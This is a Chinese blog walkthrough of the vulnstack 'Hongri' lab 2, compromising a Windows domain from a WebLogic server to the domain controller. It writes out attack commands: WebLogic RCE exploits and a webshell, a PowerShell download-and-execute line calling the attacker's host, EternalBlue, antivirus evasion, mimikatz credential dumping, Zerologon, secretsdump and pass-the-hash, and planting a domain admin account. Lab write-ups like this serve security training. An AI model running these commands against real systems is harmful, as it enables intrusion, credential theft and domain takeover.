vulnstack(红日)内网渗透靶场二: 免杀360拿下域控

最新推荐文章于 2024-03-19 20:09:15 发布
最新推荐文章于 2024-03-19 20:09:15 发布
阅读量1.9k 收藏 18
点赞数 3
分类专栏： 靶场 文章标签： 网络 服务器 安全 网络安全 网络攻击模型
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/xf555er/article/details/130956378
版权

前言

在我之前的文章vulnstack(一)打靶，我主要依赖Cobalt Strike进行后期渗透测试，这次我计划使用Metasploit框架(MSF)来进行这个阶段的工作。这个靶场与之前的不同之处在于它的WEB服务器安装了360安全卫士。虽然这增加了挑战的难度，但只要我们能够成功地进行免杀处理，就可以顺利进行渗透


靶场考察知识

1.weblogic漏洞

Oracle WebLogic是一个基于Java EE的应用服务器，是Oracle的云应用基础架构的关键组成部分。它支持创建、部署和运行分布式多层Java EE应用程序。

尽管WebLogic是一个强大而受欢迎的应用服务器，但它也有一些重要的安全漏洞

  • CVE-2017-3506：这是一个在WebLogic服务器中发现的远程代码执行（RCE）漏洞。它影响了WebLogic的WLS Security组件（针对WebLogic Server 10.3.6.0和12.1.3.0版本）。攻击者可以通过网络利用这个漏洞，无需用户交互或用户认证。如果成功，攻击者可以在WebLogic服务器主机上完全接管控制权。
  • CVE-2019-2725：这也是一个远程代码执行（RCE）漏洞，影响WebLogic服务器中的某个可反序列化组件。该漏洞在WebLogic服务器10.3.6.0和12.1.3.0版本中存在。成功利用该漏洞的攻击者可以通过网络，无需有效用户认证，控制受影响的系统。这个漏洞与CVE-2017-3506相似，但影响的组件和可利用的方式略有不同

2.CVE-2020-1472

CVE-2020-1472是一个严重的Windows安全漏洞，被微软命名为"Zerologon"。它存在于Windows服务器的Netlogon远程协议中，该协议被用于各种任务，包括用户和机器身份验证。这个漏洞由Dutch security firm Secura的研究人员发现。

Zerologon漏洞使攻击者能够在网络上的任何位置完全接管域控制器，并在没有用户交互的情况下执行此操作。一旦控制了域控制器，攻击者就可以执行各种恶意活动，例如添加新的域管理员账户，重置现有账户密码，执行代码等


靶场搭建

拓扑图

img


主机IP配置

此靶场用户的统一密码均为：1qaz@WSX 。NAT网卡为外网IP，其网段为192.168.47.0/24；VMnet3为内网IP，其网段为10.10.10.0/24

虚拟机系统网卡IP登录用户
kali（攻击机）NAT192.168.47.155
WEB（域内主机）NAT
VMnet3		192.168.47.129
10.10.10.80		mssql
DC（域控主机）VMnet310.10.10.10de1ay
PC（域内主机）NAT
VMnet3		192.168.47.160
10.10.10.201		mssql

WEB主机配置

首先将WEB主机的快照至恢复至v1.3

image-20230425201003236


输入.\de1ay表示登录本地的de1ay用户而非域用户

image-20230425202559121


随后要求你重置密码，点击确定

image-20230425202641813

​

此处我将密码重置为qQ123456，要注意的是，de1ay用户是本地管理员

image-20230425202702994


注销本地的de1ay用户，随后切换至de1ay域的mssql用户，这样做的是目的是提升难度，而不会一拿到的shell就是管理员权限

1


以管理员权限运行:C:\Oracle\Middleware\user_projects\domains\base_domain\bin\strartWebLogic.cmd

image-20230425210814996


打开物理机访问192.168.47.129:7001，测试WEB机的Weblogic服务是否运行成功，若出现以下界面则表示运行成功

image-20230425213343109


PC主机配置

同理, PC机也更改一下本地的de1ay用户的密码

image-20230425215909510

登录PC机后出现弹框，提示360运行需要管理员用户的权限

image-20230425203622494


Web渗透

信息收集

1.namp扫描

使用nmap扫描存活主机：nmap -sn 192.168.47.0/24，发现两台主机，分别是192.168.47.129和192.168.47.160

image-20230427222637596


扫描第一个主机的开放端口：nmap -p- 192.168.47.129，http服务的80端口，mssql的1433端口，远程登录服务的3389端口，以及weblogic的7001端口，猜测这台机器很可能是web服务器

image-20230427223120393


扫描另外一个主机：nmap -p- 192.168.47.160，这台机器应该是员工区的PC机

image-20230427223819087


扫描指定端口的常见漏洞：nmap --script=vuln -p 80,135,139,445,1688,3389,7001 192.168.47.129，发现永恒之蓝ms17-010漏洞

image-20230427231454638


nmap --script=vuln -p 135,139,445,3389 192.168.47.160, pc机也发现了永恒之蓝漏洞

image-20230427224712874


2.dirsearch目录爆破

对web主机进行目录爆破，先爆80端口： python3 dirsearch.py -u http://192.168.47.129 -e* -x 403,404，没有可用信息

image-20230428120338028


继续爆weblogic服务的7001端口：python3 dirsearch.py -u http://192.168.47.129:7001 -e* -x 403,404

image-20230428125935638


访问控制台登录页面：/console/login/LoginForm.jsp，爆出敏感信息：weblogic的版本号为10.3.3.0

image-20230428130139833


3.weblogic漏洞扫描

使用weblogic漏扫工具扫描：python3 WeblogicScan.py -u 192.168.47.129 -p 7001，爆出CVE-2017-3506以及CVE-2019-2725，均为远程代码执行漏洞

image-20230428132119263


漏洞利用

1.ms07010漏洞利用

尝试使用MSF的ms17010远程命令执行EXP，但是失败了，估计是被360拦截掉了

image-20230427231823163


换另外一个EXP，尝试返回目标主机的meterpreter会话：use exploit/windows/smb/ms17_010_eternalblue ，但还是失败了，在web机可以看到是被360拦截了

image-20230427232137536

1


2.weblogic漏洞利用

msf搜索与weblogic相关的漏洞，根据之前漏扫爆出来的漏洞编号选择对应的年份(2017和2019)，此处选择2019的

1

1


这里需修改EXP的设置, 由于目标主机是windows，需将target设为1，其他设置如下图所示，成功返回一个meterpreter会话，也能够正常获取uid， 但是很快就被360干掉了

image-20230429120030747

image-20230429120143693


使用cve-2017-3506的exp扫描漏洞是否存在：java -jar .\WebLogic-XMLDecoder.jar -u http://192.168.47.129:7001

image-20230429131419649


使用cve-2017-3506的漏洞利用exp：java -jar .\WebLogic-XMLDecoder.jar -s http://192.168.47.129:7001 /wls-wsat/CoordinatorPortType11 shell.jsp

image-20230429132144382


访问写进去的webshell(shell.jsp)执行任意命令，命令执行成功

image-20230429132027418


尝试远程加载cs的powershell命令：http://192.168.47.129:7001/wls-wsat/shell.jsp?password=secfree&command=powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.47.155:80/a'))"， 但是执行失败了，cs没有上线

image-20230429163717896


3.写入webshell

尝试一键写入webshell，利用CVE-2020-2551漏洞，漏洞利用成功 (此webshell默认密钥为key)

1


打开哥斯拉连接webshell

1


进入webshell，测试执行远程命令

1


上传msf生成的木马，立马被360查杀掉了, 因此需对其做免杀处理, 此处我用到的免杀技术为动态调用api函数加载shellcode

image-20230503171747538

image-20230503172820475


上传免杀后的木马并执行, msf成功接收到meterpreter

image-20230503202635439

image-20230503202408729


后渗透

内网信息收集

先将fscan.exe上传至目标主机

image-20230503204547893


进入cmd shell命令执行：ipconfig /all，meterpreter执行命令sysinfo来获取目标系统的基本信息，此处获取到的信息整理如下：

  • 主机名: WEB
  • 当前域：de1ay
  • 内网ip地址：10.10.10.80
  • DNS服务器地址：10.10.10.10
  • OS：Windows 2008 R2
  • 系统架构：64位

1

1


内网漏洞扫描

使用fscan.exe扫描内网存活ip以及进行漏洞扫描：fscan.exe -h 10.10.10.1/24，发现内网的另一个IP是10.10.10.10，这个IP应该就是域控服务器的IP了，因为DNS服务器通常为域控服务器，而且这个域控服务器还存在永恒之蓝漏洞

1

1


永恒之蓝打域控

开启路由转发：run autoroute -s 10.10.10.0/24，目标是让msf能够访问内网的其他主机

此命令使用autoroute脚本来添加一个静态路由，换句话说，这个命令将你当前的 Meterpreter 会话作为一个路由器，可以让你访问到该子网内的其他主机

image-20230503231440843


尝试使用永恒之蓝exp对域控进行攻击，成功返回域控的meterpreter

image-20230503231725683


永恒之蓝提权Web主机

使用MSF查找可能的提权漏洞，使用post/multi/recon/local_exploit_suggester模块，Metasploit会建议可能适用于该系统的本地提权漏洞，然后使用run命令执行此模块。

meterpreter > background
msf > use post/multi/recon/local_exploit_suggester
msf post(multi/recon/local_exploit_suggester) > set SESSION [your session id]
msf post(multi/recon/local_exploit_suggester) > run

漏洞扫描被意外终止，具体原因我也不清楚

image-20230530194243475


由于Web主机的当前用户是普通用户，因此需对它进行提权操作，永恒之蓝漏洞可以达到提权的效果，尝试对Web主机的内网IP进行漏洞利用，失败告终

1

1

​

使用frp内网穿透可以解决上述永恒之蓝漏洞利用失败的情况，首先设置frp服务端的配置文件frps.ini

[common]
bind_port = 7000  

[socks5]
type = tcp
auth_method = noauth  #表示这个代理不需要验证。如果你需要验证，可以设置为 userpass 并提供 username 和 password
bind_addr = 0.0.0.0
listen_port = 1080

kali执行命令启用frp服务端: ./frps -c ./frps.ini

image-20230529235913739


如下所示设置客户端的配置文件frpc.ini ，随后将frpc.exe和frpc.ini都上传至web机上

[common]
server_addr = 192.168.47.155
server_port = 7000

[socks5]
type = tcp
remote_port = 1080
plugin = socks5  #用SOCKS5代理插件

setg proxies socks5:192.168.47.155:1080：setg命令用于设置全局选项,也就是说后续的所有网络操作都将通过这个socks5代理进行

setg ReverseAllowProxy true：将允许Metasploit的反向连接（reverse connections）通过代理,反向连接通常用于在成功利用某个漏洞后与目标系统建立连接，用于发送命令和接收结果

image-20230527165347717


payload必须设置为bind_tcp, 设置rhost为web主机的内网ip

image-20230527172530748

​

exp运行后成功返回当前Web主机的meterpreter会话

image-20230527172823829


mimikatz凭据提取

getuid查看当前用户权限为system, 这就意味着可以使用mimikatz进行凭据提取了

image-20230527172908844


加载mimikatz：load kiwi

image-20230527173155313


获取凭据：creds_all，这个命令将尝试提取存储在内存中的各种凭据

image-20230527173303819

image-20230527173717054


以下表格是上述获取到的凭据

域账号和密码
DE1AYAdministrator/1qaz@WSX
DE1AYmssql/1qaz@WS
WEBde1ay/qQ123456

CVE-2020-1472打域控

修改proxychains的配置文件：vim etc/proxychains4.conf， 添加上socks5代理，其目的是让其他应用程序能够访问目标内网

image-20230527235349333


使用zerologon_tester.py来测试域控是否存在CVE-2020-1472漏洞，结果显示漏洞存在

proxychains4 python3 zerologon_tester.py [域控主机名] [域控ip]

image-20230527235651822


使用cve-2020-1472-exploit将域控制器账户的密码设置为空

域控制器账户是一个特殊的系统账户，用于运行域控制器服务和进行与其他系统的通信。这个账户通常是不可见的，并且不能用来登录或执行常规的用户操作

而"Administrator"通常是域管理员账户的默认名称，它拥有可以管理整个域，包括所有用户、计算机和服务的权限

在许多情况下，域管理员账户（例如Administrator）有足够的权限来管理域控制器和其它网络资源。然而，正如CVE-2020-1472（Zerologon）漏洞所展示的，攻击者如果能够以某种方式获得域控制器账户的权限，他们可能会绕过正常的认证机制并直接控制域控制器

所以总的来说，域控制器账户并不等同于Administrator账户，虽然两者都具有高级权限

proxychains4 python3 cve-2020-1472-exploit.py [域控名称] [域控ip]

image-20230528000136748


以下命令试图通过IP地址10.10.10.10访问de1ay.com域中的机器账户dc$，并且在这个过程中不需要密码，成功之后，它将尝试从目标服务器抓取并输出密码哈希值和其他凭据信息。此处将域管理员账户Administrator的哈希值复制下来。

proxychains impacket-secretsdump de1ay.com/dc\$@10.10.10.10 -no-pass

impacket-secretsdump是Impacket库的一个工具，用于抓取Windows服务器的密码哈希值和其他凭据信息

-no-pass：这是一个参数，表示我们在尝试访问目标服务器时不会提供密码。这个参数通常在已知存在某种漏洞（比如CVE-2020-1472）可以让我们在没有密码的情况下访问目标服务器时使用


以下命令利用impacket-wmiexec工具以及提供的NTLM哈希值，在IP地址为10.10.10.10的远程Windows服务器上以administrator用户的身份执行命令

proxychains impacket-wmiexec -hashes aad3b435b51404eeaad3b435b51404ee:161cff084477fe596a5db81874498a24 administrator@10.10.10.10

impacket-wmiexec：这是Impacket库中的一个工具，它可以在远程Windows服务器上执行命令

-hashes：这个选项允许你提供NTLM哈希值来进行身份验证，而不是使用密码，在这个命令中，你提供了一个LM哈希值（aad3b435b51404eeaad3b435b51404ee）和一个NTLM哈希值（161cff084477fe596a5db81874498a24）

./administrator@10.10.10.10：这表示你希望以administrator用户的身份登录到IP地址为10.10.10.10的远程服务器

image-20230528002213882


reg save命令将指定注册表键保存到指定文件，其目的是为了后续破解用户密码

  • reg save HKLM\SYSTEM system.save ：HKLM\SYSTEM 键包含了关于操作系统配置的信息
  • reg save HKLM\SAM sam.save ：HKLM\SAM 键包含了关于用户和用户组的信息
  • reg save HKLM\SECURITY security.save：HKLM\SECURITY 键包含了关于系统安全设置的信息

1

1


使用lget命令从远程系统下载文件到本地系统，再使用del命令将这些文件从远程系统中删除

lget 命令常用在一些远程管理和操作的环境中，例如交互式shell会话或者一些远程执行工具中，用于从远程系统下载文件到本地系统

image-20230528133504199


尝试添加新用户，但是失败了，猜测可能是密码的设置强度问题

image-20230528143508278


参考之前获取到的域控账户的密码1qaz@WSX，此处我也将新用户的密码设置成和他一样的，添加成功了

net user Henry 1qaz@WSX /add /domain

image-20230528143557222


添加用户至管理员组: net group "Domain Admins" Henry /add /domain

image-20230528143715023


查询管理员组是否有刚添加的用户: net group "Domain Admins"

image-20230528143747571

​

查看本地目录，可以看到远程获取到的三个注册表文件

image-20230528143818874


这条命令是使用 Impacket 库中的 secretsdump.py 工具来从本地 Windows 注册表文件中提取凭据，将哈希值复制下来用于后续恢复域控制器账户的密码

impacket-secretsdump -sam sam.save -system system.save -security security.save local

image-20230528172110062


使用reinstall_original_pw.py，用于恢复域控制器账户的密码

proxychains python3 reinstall_original_pw.py dc 10.10.10.10 <hex值>

image-20230528173245217


再次尝试抓取域控制器账户的密码，若提示登录失败，则表示域控账户恢复成功

image-20230528173551705


登录域控主机

由于web主机开启了3389端口，使用rdesktop远程登录，账户密码就用mimikatz抓取到的WEB\de1ay 1qaz@WSX

image-20230528174554293


在运行对话框中输入mstsc呼出远程桌面连接

1


关闭域控机器的防火墙

1


查看域内主机都有哪些

1


通过ping主机名获取PC主机的内网IP

1


尝试使用管理员账户远程登录PC机, 登录成功

1


总结

  • 当针对内网主机使用MSF进行永恒之蓝漏洞攻击失败时，一个替代方案是首先利用frp实现内网穿透，然后再进行漏洞利用。这种方法可能会产生意想不到的效果。
  • 我原本计划通过Meterpreter的portfwd命令将域控的3389端口映射到kali本地端口，随后使用rdesktop进行远程登录。然而，这一计划并未成功，我推测这可能是因为域控做了某些限制，只允许10.10.10.0/24网段的主机进行远程登录。
Henry404s
关注
  • 3
    点赞
  • 踩
  • 18
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
红日初升——运动医学研究之一：行业概览.rar
09-11
红日初升——运动医学研究之一：行业概览.rar
记一次红日靶场2的攻打记录
zhanqinli的博客
07-18 564
1、在配置好靶场环境和开启web服务后，开启kali对靶机进行扫描，可以看到靶机中的开启的445端口和7001端口都很有可能存在系统漏洞；1、接着使用CS自带插件portscan对内网10.10.10.0网段进行扫描，其中445端口都开启着，新建smb监听器来监听445端口，2、接着利用CS进行提权，接着我们利用它来对内网进行信息收集，首先查看主机的信息，以及系统的信息，引言：近日有空摸鱼，闲着无事打一下靶场。二、MSF和CS联动和内网信息收集。三、使用CS渗透内网。至此，渗透基本完成。
vulnstack内网靶场渗透测试
最新发布
three_1996的博客
03-19 622
【代码】vulnstack内网靶场渗透测试。
计算机网络安全技术：其他靶场介绍.pdf
05-12
其他靶场介绍 实战系列靶场和万能hub ，就是国外的一个实战靶场。 实战类靶场在承受攻击时各种手段都可以使用，因此 它的被测试主机的负荷会比较大。经常是要下载到本 地来使用。红队实战系列靶场，是红日安全团队他们 创建的。现在是有七个比较完整的8 场，其中第一个 是沃尔玛安全方面的靶场。 其他靶场介绍 集成了这么多，一个是web ，一个就是web 靶场，对 外是一些CAMS 。不过经过测试，这些环境没有完全 的部署好，只需要大家根据实际情况把那个服务器的 环境和配置调整一下。有些CMS 就看起来那个图片 出不来，或者是有一些其他的问题。所以环境搭建是 比较重要的。基本上就是一个单机的。靶场最大的一 个特点就是支持多台计算机。 其他靶场介绍 第二个创建了玉环境，还有构建了一个完整的网 络拓扑，通过外面儿虚拟机的那个虚拟网络，把 公司里面的那种网络环境模拟出来。就像是在一 个真实的网络环境里面做进行安全测试一样。这 是用户名和密码。现在做到第七个了，像这个第 六个的话，环境设备，有日本服务器，有DC 。网 络拓扑主要就是网盘下载，这个验证码非常难看。 其他靶场介绍 war hamp ，这是国
红日安全-wp1
08-03
护网杯 Write up--红日安全迟来的签到base64 解密，得到如下结果：根据题目提示为 xor 异或，利用 c 语言撰写脚本利用 burp 爆破获得大辣
红日药业：2021年半年度报告.rar
09-29
红日药业：2021年半年度报告.rar
FrpProPlugin：frp0.33修改版，过流量检测，免杀，支持加载远程配置文件可用于cs直接使用的插件
03-04
FrpPro插件 frp0.33修改版，过流量检测，免杀，支持加载远程配置文件可用于c直接使用的插件。需要服务端适应，可以在realease下载对应平台的服务端。 更新时间线 2021.2.19免杀更新+缩小体积 功能介绍 主要包括上载，指定frpc的位置，这里需要注意观察一下，先要确保frpc.exe完整上传了 一般要1-2分钟，需要耐心等待下 然后配置文件的URL： 最后执行完成删除frpc（自动查找进程，然后删除掉文件）： 应用效果
ATT&CK红日靶场二
hjxhjx1589的博客
07-28 1812
欢迎大家一起学习红日团队的靶场二，可以学习域渗透，web，内网渗透等相关内容。
红日内网渗透靶场2(ATK&CK红队评估实战靶场二)
qq_45780190的博客
03-01 1万+
环境搭建： 官方下载地址以及实验文档如下： http://vulnstack.qiyuanxuetang.net/vuln/detail/3/ 跟靶场一中的环境类似需要模拟内网和外网两个网段， PC端虚拟机相当于网关服务器，所以需要两张网卡，一个用来向外网提供web服务，一个是通向内网。 PC配置如下： DC在该环境中充当是域控。DC配置如下 ： WEB配置：需要两块网卡，相当于网关服务器。 这里需要将新增的网卡VMnet2，ip调成了10段。 网络配置完成，这三台虚拟主机默认开机密码都是：密码
红日靶场2
weixin_48169878的博客
07-10 4559
1、初始密码为1qaz@WSX，注意WEB这台机器，需要切换用户为de1ay，密码为1qaz@WSX登入2、修改网卡，如PC 、WEB 拥有俩个网卡，则网卡一设置为nat，也可以是主机模式，但由于学校校园网认证方面的问题，主机模式无法上网，所以我用nat模式。对应的把nat模式的网段修改为192.168.111.0设置一个lan区段，所有主机都加入到这个lan区段结果如下：3、然后利用kail或者windows10作为攻击机。为了方便，可以用三台。包括虚拟机kail，虚拟机windows10以及本机。主要是
Vulnstack----1、ATT&CK红队评估实战靶场一
七天
08-01 983
3、敏感目录：http://192.168.144.132/phpMyadmin。4、发现yxcms:http://192.168.144.132/yxcms。192.168.52.143:存在MS17-010。192.168.52.138:存在MS17-010。域用户：dev1、root-tvi862ubeh。win7内网ip：192.168.52.143。1、ip地址：192.168.144.132。内网ip地址：192.168.52.143。内网网段：192.168.52.0/24。
红日药业：2021年半年度报告.PDF
08-28
红日药业：2021年半年度报告.PDF
红日药业：2020年年度报告.PDF
04-08
红日药业：2020年年度报告.PDF
红日靶场vulnstack2（下）
errorr0
06-03 1171
红日靶场二的外内网攻击思路
VulnStack实战（一）超级实战
weixin_51198941的博客
07-14 687
查看了一下，把敏感信息收集起来，比如网站根目录，开启的什么敏感文件，然后我们往下边翻的时候，发现有一个登录框，用常见的弱口令试了一下，发现root，root能登录。当前域名为god，登录用户是administrator，且存在两个网卡，分别是192.168.22.133(外网)和192.168.52.143（内网）net config Workstation 当前计算机名，全名，用户名，系统版本，工作站域，登陆域。共有三台机器，Win7是对外的web机，Win2003和Win2008（DC）是内网机器。
红日靶场(二)
qq_58091216的博客
05-02 1698
整体流程如下：信息收集 => weblogic漏洞利用 => 冰蝎连接上传大马 =>WEB主机上线CS => 内网信息收集 => MS17_010利用 => PTH => DC主机上线 => 挂代理3389登录PC主机 => 上传木马 => PC主机上线 => 构造黄金票据维权 => 痕迹清理。
ATT&CK实战：红日靶场二
学生
06-19 590
发现weblogic 使用工具注入内存马 ，上传正常的马子连接不上 ，因目标机器安装了360 会被杀掉 内存马有一定的免杀性。执行whoami命令 可知当前用户的权限为管理员权限 直接反弹shell到msf 方便操作。这里因为有360 所以getsystem命令并不能提权成功 可以使用进程迁移到高权限进程。哥斯拉填写开启msf的ip和监听端口 点击Go反弹到msf。\\DC.de1ay.com 的用户帐户。查看进程 发现很多system权限开启的进程。双网卡 10.10.10.80。
记录渗透靶场实战【网络安全】
热门推荐
kali_Ma的博客
11-06 2万+
第一次写靶场实战的文章，有不足之处还请多多指教。本次实战的靶场是红日安全vulnstack系列的第二个靶场。 靶场地址：http://vulnstack.qiyuanxuetang.net/vuln/detail/3/ 环境搭建 网络环境 网卡配置 只需要在VM上选择对应网卡即可，不需要在靶机中进行配置。 DC IP：10.10.10.10 （VMnet5） OS：Windows 2012（x64） WEB IP1：192.168.111.80 （VMnet6） IP2：10.10.10.80 （VM
红日内网渗透靶场2
m0_62008601的博客
01-15 1760
学习内网渗透中，记录一下一些思路
红日靶场ping不通内网
08-17
您好！关于红日靶场无法ping通内网的问题，我需要更多的详细信息才能给出准确的解答。以下是一些可能的原因和解决方法： 1. 防火墙设置：确保您的内网防火墙未阻止来自红日靶场IP的ping请求。请检查防火墙规则并确保允许ping请求通过。 2. 内网路由设置：检查您的内网路由设置，确保正确配置了与红日靶场之间的路由。如果路由不正确，可能会导致ping不通。 3. IP地址冲突：检查内网中是否存在与红日靶场IP地址冲突的情况。如果有IP地址冲突，可能会导致通信问题。 4. 网络连接问题：检查您的网络连接是否正常。尝试使用其他设备或网络连接进行测试，以确定问题是否出现在您的设备上。 请提供更多关于您的网络设置和具体步骤的信息，以便我可以为您提供更准确的帮助。

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值